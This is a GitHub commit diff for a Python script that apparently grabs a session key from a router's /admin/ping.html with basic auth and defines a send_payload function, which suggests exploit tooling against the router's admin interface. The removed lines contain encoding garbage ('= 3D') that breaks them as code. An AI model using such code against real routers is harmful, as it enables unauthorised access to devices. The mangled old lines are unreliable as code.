File tree Expand file tree Collapse file tree 1 file changed +7
-10
lines changed
Expand file tree Collapse file tree 1 file changed +7
-10
lines changed Original file line number Diff line number Diff line change @@ -22,15 +22,12 @@ def main():
2222
2323
2424def get_session ():
25- url = 3 D router_host + "/admin/ping.html"
26- headers = 3 D {"Authorization" : "Basic {}" .format (authorization_header )}
27- r = 3 D requests .get (url , headers = 3 Dheaders ).text
28- i = 3 D r .find ("&sessionKey=3D" ) + len ("&sessionKey=3D" )
29- s = 3 D ""
30- while r [i ] != 3 D "'" :
31- s = 3 D s + r [i ]
32- i = 3 D i + 1
33- return s
25+ url = f"{ config ['router_host' ]} /admin/ping.html"
26+ headers = {"Authorization" : config ['authorization_header' ]}
27+ response = requests .get (url , headers = headers )
28+ session_key = response .text .split ("&sessionKey=" )[1 ].split ("'" )[0 ]
29+ return session_key
30+
3431
3532
3633def send_payload (payload ):
@@ -42,4 +39,4 @@ def send_payload(payload):
4239 requests .get (url , headers = 3 Dheaders , params = 3 Dparams ).text
4340
4441
45- main ()
42+ main ()
You can’t perform that action at this time.
0 commit comments